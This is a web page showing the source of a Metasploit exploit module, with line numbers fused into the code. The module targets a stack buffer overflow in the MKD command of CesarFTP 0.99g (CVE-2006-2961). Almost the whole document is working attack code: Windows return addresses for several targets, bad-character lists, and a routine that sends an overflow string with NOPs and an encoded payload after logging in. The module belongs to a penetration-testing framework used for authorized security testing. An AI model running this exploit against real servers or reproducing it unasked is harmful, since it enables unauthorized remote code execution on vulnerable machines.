Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/cesarftp_mkd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.1516You must have valid credentials to trigger this vulnerability. Also, you17only get one chance, so choose your target carefully.18},19'Author' => 'MC',20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-2961'],24[ 'OSVDB', '26364'],25[ 'BID', '18586'],26[ 'URL', 'http://web.archive.org/web/20060619195555/http://secunia.com:80/advisories/20574/' ],27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32},33'Payload' =>34{35'Space' => 250,36'BadChars' => "\x00\x20\x0a\x0d",37'StackAdjustment' => -3500,38'Compat' =>39{40'SymbolLookup' => 'ws2ord',41}42},43'Platform' => 'win',44'Targets' =>45[46[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],47[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],48[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll49#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll50#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll51[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],52],53'DisclosureDate' => '2006-06-12',54'DefaultTarget' => 0))55end5657def check58connect59disconnect6061if (banner =~ /CesarFTP 0\.99g/)62return Exploit::CheckCode::Appears63end64return Exploit::CheckCode::Safe65end6667def exploit68c = connect_login69return if not c7071sploit = "\n" * 671 + rand_text_english(3, payload_badchars)72sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded7374print_status("Trying target #{target.name}...")7576send_cmd( ['MKD', sploit] , false)7778handler79disconnect80end81end828384